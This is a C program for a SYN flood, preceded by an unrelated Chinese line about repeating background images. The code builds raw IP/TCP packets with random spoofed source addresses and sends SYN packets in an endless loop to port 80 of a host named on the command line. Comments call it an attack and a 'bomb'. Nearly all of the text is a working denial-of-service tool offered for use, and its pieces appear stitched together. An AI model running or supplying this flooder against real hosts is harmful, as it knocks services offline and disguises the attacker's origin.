背景总重复会出现很多张一样的图片......

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <stdlib.h>

#include <errno.h>

#include <unistd.h>

#include <stdio.h>

#include <netdb.h>

#define DESTPORT 80 /* the port we are going to attack */

#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}

/**** using IPPROTO_TCP to create a TCP RAW Socket ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));

exit(1);

}

/******** set the IP data packet format, and tell the system that we fill in the IP data packet ourselves ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** to get the super id to use the RAW socket *********/

setuid(getpid());

/********* to send bomb ****/

send_tcp(sockfd,&addr);

}

/******* to complete the bomb *********/

void send_tcp(int sockfd,struct sockaddr_in *addr)

{

char buffer[100]; /**** to contain our own data packet ****/

struct ip *ip;

struct tcphdr *tcp;

int head_len;

/******* the length is the sum of the ip and tcp ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** to fill in the header of the ip data packet ******/

ip=(struct ip *)buffer;

ip->ip_v=IPVERSION; /** popularly the version is 4 **/

ip->ip_hl=sizeof(struct ip)>>2; /** the head length of IP data packet **/

ip->ip_tos=0; /** service type **/

ip->ip_len=htons(head_len); /** the length of IP data packet **/

ip->ip_id=0; /** to tell the system to do it **/

ip->ip_off=0; /** the same to the above **/

ip->ip_ttl=MAXTTL; /** the longest time 255 **/

ip->ip_p=IPPROTO_TCP; /** what we will send is the tcp packet **/

ip->ip_sum=0; /** the check sum task is left to system **/

ip->ip_dst=addr->sin_addr; /** the destination we want to attack **/

/******* to fill in the tcp packet *****/

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

tcp->source=htons(LOCALPORT);

tcp->dest=addr->sin_port; /** dest port **/

tcp->seq=random();

tcp->ack_seq=0;

tcp->doff=5;

tcp->syn=1; /** we want to create a connection **/

tcp->check=0;

/** ok every thing is ok **/

while(1)

{

/** you do not know where i am from, so wait ..... **/

ip->ip_src.s_addr=random();

/** we check the info header ourselves */

/** it is dispensable */

tcp->check=check_sum((unsigned short *)tcp,

sizeof(struct tcphdr));

sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));

}

}

/* */

unsigned short check_sum(unsigned short *addr,int len)

{

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;

while(nleft>1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned char *)w;

sum+=answer;

}

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}